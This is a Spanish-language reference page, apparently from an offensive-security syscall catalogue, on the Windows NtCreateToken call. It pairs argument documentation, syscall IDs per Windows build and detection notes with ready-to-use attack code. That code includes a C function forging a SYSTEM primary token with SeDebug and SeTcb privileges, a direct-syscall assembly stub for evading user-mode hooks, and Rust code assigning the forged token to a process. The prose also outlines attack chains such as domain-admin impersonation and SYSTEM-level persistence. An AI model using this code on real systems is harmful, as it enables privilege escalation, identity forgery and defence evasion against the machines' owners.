NtCreateToken
Forja un token de acceso desde cero con usuario, grupos, privilegios, owner, DACL por defecto y origen elegidos — protegido por SeCreateTokenPrivilege.
Prototipo
NTSTATUS NtCreateToken( PHANDLE TokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, TOKEN_TYPE Type, PLUID AuthenticationId, PLARGE_INTEGER ExpirationTime, PTOKEN_USER User, PTOKEN_GROUPS Groups, PTOKEN_PRIVILEGES Privileges, PTOKEN_OWNER Owner, PTOKEN_PRIMARY_GROUP PrimaryGroup, PTOKEN_DEFAULT_DACL DefaultDacl, PTOKEN_SOURCE Source );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| TokenHandle | PHANDLE | out | Recibe un handle al token recién forjado. |
| DesiredAccess | ACCESS_MASK | in | Máscara de acceso. TOKEN_ALL_ACCESS (0xF01FF) permite cualquier operación con el resultado. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Atributos de objeto. SecurityQualityOfService elige aquí el nivel de impersonación del nuevo token. |
| Type | TOKEN_TYPE | in | TokenPrimary (1) o TokenImpersonation (2). Los primarios se asignan vía NtAssignProcessToken / CreateProcessAsUser; los de impersonación vía NtSetInformationThread. |
| AuthenticationId | PLUID | in | LUID que identifica la sesión de logon. SYSTEM = {0x3E7,0}. Use un LUID de sesión real para heredar tickets Kerberos, etc. |
| ExpirationTime | PLARGE_INTEGER | in | Expiración del token. Prácticamente ignorada en todos los builds publicados — use un valor grande (MAX_LARGE_INTEGER) para un token sin expiración. |
| User | PTOKEN_USER | in | Estructura TOKEN_USER con el SID de usuario — típicamente un usuario de dominio o SYSTEM para impersonación total. |
| Groups | PTOKEN_GROUPS | in | Array de SIDs de grupo con atributos. Añada Domain Admins, Enterprise Admins, etc. para fabricar pertenencia elevada. |
| Privileges | PTOKEN_PRIVILEGES | in | Conjunto de privilegios del token. Típicamente la unión de SeDebugPrivilege, SeTcbPrivilege, SeAssignPrimaryTokenPrivilege, etc. al forjar. |
| Owner | PTOKEN_OWNER | in | SID de owner por defecto aplicado a los objetos creados por el proceso del token. |
| PrimaryGroup | PTOKEN_PRIMARY_GROUP | in | SID del grupo primario (herencia POSIX). Normalmente Domain Users. |
| DefaultDacl | PTOKEN_DEFAULT_DACL | in | DACL por defecto para los objetos nuevos. NULL es aceptado — el kernel sustituye un valor por defecto permisivo. |
| Source | PTOKEN_SOURCE | in | TOKEN_SOURCE.SourceName es una etiqueta de 8 bytes visible en auditoría — "*SYSTEM*", "User32", "Advapi", o elegida por el atacante. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xB6 | win10-1507 |
| Win10 1607 | 0xB9 | win10-1607 |
| Win10 1703 | 0xBC | win10-1703 |
| Win10 1709 | 0xBD | win10-1709 |
| Win10 1803 | 0xBE | win10-1803 |
| Win10 1809 | 0xBF | win10-1809 |
| Win10 1903 | 0xC0 | win10-1903 |
| Win10 1909 | 0xC0 | win10-1909 |
| Win10 2004 | 0xC4 | win10-2004 |
| Win10 20H2 | 0xC4 | win10-20h2 |
| Win10 21H1 | 0xC4 | win10-21h1 |
| Win10 21H2 | 0xC5 | win10-21h2 |
| Win10 22H2 | 0xC5 | win10-22h2 |
| Win11 21H2 | 0xCA | win11-21h2 |
| Win11 22H2 | 0xCB | win11-22h2 |
| Win11 23H2 | 0xCB | win11-23h2 |
| Win11 24H2 | 0xCD | win11-24h2 |
| Server 2016 | 0xB9 | winserver-2016 |
| Server 2019 | 0xBF | winserver-2019 |
| Server 2022 | 0xC9 | winserver-2022 |
| Server 2025 | 0xCD | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 CD 00 00 00 mov eax, 0xCD F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
El único syscall que *crea un token sin autenticar nada*. La barrera es SeCreateTokenPrivilege, por defecto solo en posesión de LSASS — el Local Security Authority Subsystem. Ningún usuario interactivo, ni siquiera Administrator, lo tiene al logon, y la propia cuenta local SYSTEM tampoco (SYSTEM lo obtiene vía el contexto de paquete LSA, no por su token). La pregunta práctica en uso ofensivo es entonces: *¿tienes ejecución dentro de lsass.exe (o has robado un token de lsass.exe que ya tiene ese privilegio habilitado)?* Si sí, puedes forjar un TokenPrimary para cualquier SID, cualquier pertenencia de grupos y cualquier conjunto de privilegios. El resultado se asigna luego con `NtAssignProcessToken` para fabricar procesos hijo al estilo `CreateProcessAsUser` con la identidad forjada. El kernel no comprueba que el User SID exista realmente.
Uso común por malware
T1134.003 *Make and Impersonate Token* en su forma más pura. Una vez alcanzado SYSTEM y accesible lsass.exe (Mimikatz `sekurlsa::pth`, `token::create`, pipelines ProcDump + LSASS-Parser, Pypykatz, cadenas derivadas de Nanodump, workflows post-LSASS de Brute Ratel y Cobalt Strike), esta es la llamada que materializa la identidad forjada. Variantes: construir una identidad 'service' (`AuthenticationId={0x3E7,0}`, todos los privilegios) para persistencia equivalente a SYSTEM; construir un token de impersonación domain-admin cuyo User SID coincida con un objetivo que el atacante quiere imitar frente a un servicio remoto (silver-ticket sin Kerberos); o encadenar NtCreateToken → NtAssignProcessToken → cmd.exe apareciendo en Process Explorer como DOMAIN\Administrator sin que se haya producido logon alguno. El PoC ConVME de Clément Labro y varias herramientas públicas 'token-magic' demuestran la cadena completa.
Oportunidades de detección
Es el syscall de token más vigilado en entornos endurecidos. Microsoft-Windows-Threat-Intelligence emite evento al éxito. Defender for Endpoint lo expone como 'Token forged' / 'Anomalous token creation' y lo enlaza al contexto padre lsass.exe. Security 4673 (privileged-service-call) más 4672 (special privileges assigned to new logon) se disparan en cada consumo del token resultante. Postura defensiva fiable: cualquier llamante de NtCreateToken que *no* sea un componente firmado por Microsoft dentro de lsass.exe es por definición malicioso — no hay uso legítimo de terceros. Credential Guard (VBS) hace los LSA SECRETS ilegibles desde modo usuario y es la mitigación principal contra el prerrequisito, pero no bloquea directamente NtCreateToken si el atacante ya obtuvo SeCreateTokenPrivilege por otra vía.
Ejemplos de syscalls directos
cSkeleton: forge a SYSTEM primary token (post-LSASS)
// Pre-req: caller is impersonating an LSASS thread token that already
// has SeCreateTokenPrivilege enabled. Otherwise NtCreateToken returns 0xC0000061.
//
// Builds the absolute minimum: User=NT AUTHORITY\SYSTEM, Groups=BUILTIN\Administrators,
// Privileges = {SeDebug, SeTcb, SeAssignPrimaryToken, SeImpersonate}. Many fields here
// are stack-allocated for brevity; production code uses a single contiguous heap blob.
#include <ntsecapi.h>
#include <sddl.h>
typedef NTSTATUS(NTAPI* fnNtCreateToken)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE);
HANDLE ForgeSystemToken(void) {
PSID sidSystem = NULL, sidAdmins = NULL;
ConvertStringSidToSidA("S-1-5-18", &sidSystem);
ConvertStringSidToSidA("S-1-5-32-544", &sidAdmins);
TOKEN_USER tu = { { sidSystem, 0 } };
SID_AND_ATTRIBUTES grp = { sidAdmins, SE_GROUP_ENABLED | SE_GROUP_MANDATORY };
BYTE grpsBuf[64] = { 0 };
PTOKEN_GROUPS groups = (PTOKEN_GROUPS)grpsBuf;
groups->GroupCount = 1; groups->Groups[0] = grp;
BYTE prvBuf[128] = { 0 };
PTOKEN_PRIVILEGES privs = (PTOKEN_PRIVILEGES)prvBuf;
privs->PrivilegeCount = 4;
LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &privs->Privileges[0].Luid);
LookupPrivilegeValueA(NULL, SE_TCB_NAME, &privs->Privileges[1].Luid);
LookupPrivilegeValueA(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privs->Privileges[2].Luid);
LookupPrivilegeValueA(NULL, SE_IMPERSONATE_NAME, &privs->Privileges[3].Luid);
for (DWORD i = 0; i < privs->PrivilegeCount; i++)
privs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;
TOKEN_OWNER owner = { sidAdmins };
TOKEN_PRIMARY_GROUP pgrp = { sidAdmins };
TOKEN_SOURCE src = { { '*','S','Y','S','T','E','M','*' } };
AllocateLocallyUniqueId(&src.SourceIdentifier);
LUID authId = { 0x3E7, 0 }; // SYSTEM_LUID
LARGE_INTEGER exp; exp.QuadPart = 0x7FFFFFFFFFFFFFFFLL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
HMODULE n = GetModuleHandleA("ntdll.dll");
fnNtCreateToken pCreate = (fnNtCreateToken)GetProcAddress(n, "NtCreateToken");
HANDLE hTok = NULL;
pCreate(&hTok, TOKEN_ALL_ACCESS, &oa, TokenPrimary,
&authId, &exp, &tu, groups, privs, &owner, &pgrp, NULL, &src);
LocalFree(sidSystem); LocalFree(sidAdmins);
return hTok;
}asmx64 direct stub (Win11 24H2 SSN)
; SSN 0xCD on win11-24h2 / winserver-2025. 13 args — most spill to the stack;
; in syscall ABI the kernel reads them from the user stack directly.
NtCreateToken PROC
mov r10, rcx
mov eax, 0CDh
syscall
ret
NtCreateToken ENDPrustAssign the forged token to a child process
// Skeleton wrapper that takes a forged HANDLE from `forge_system_token()`
// and assigns it as the primary token of a freshly spawned cmd.exe.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::PROCESS_ACCESS_TOKEN;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
type NtSetInformationProcess = unsafe extern "system" fn(
proc: HANDLE, class: u32, info: *mut u8, len: u32,
) -> i32;
pub unsafe fn assign_token(target_process: HANDLE, forged_token: HANDLE) -> i32 {
#[repr(C)]
struct ProcessAccessToken { token: HANDLE, thread: HANDLE }
let n = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
let addr = GetProcAddress(n, b"NtSetInformationProcess\0".as_ptr()).unwrap();
let f: NtSetInformationProcess = std::mem::transmute(addr);
let mut pat = ProcessAccessToken { token: forged_token, thread: 0 as HANDLE };
f(target_process, PROCESS_ACCESS_TOKEN, &mut pat as *mut _ as *mut u8,
core::mem::size_of::<ProcessAccessToken>() as u32)
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20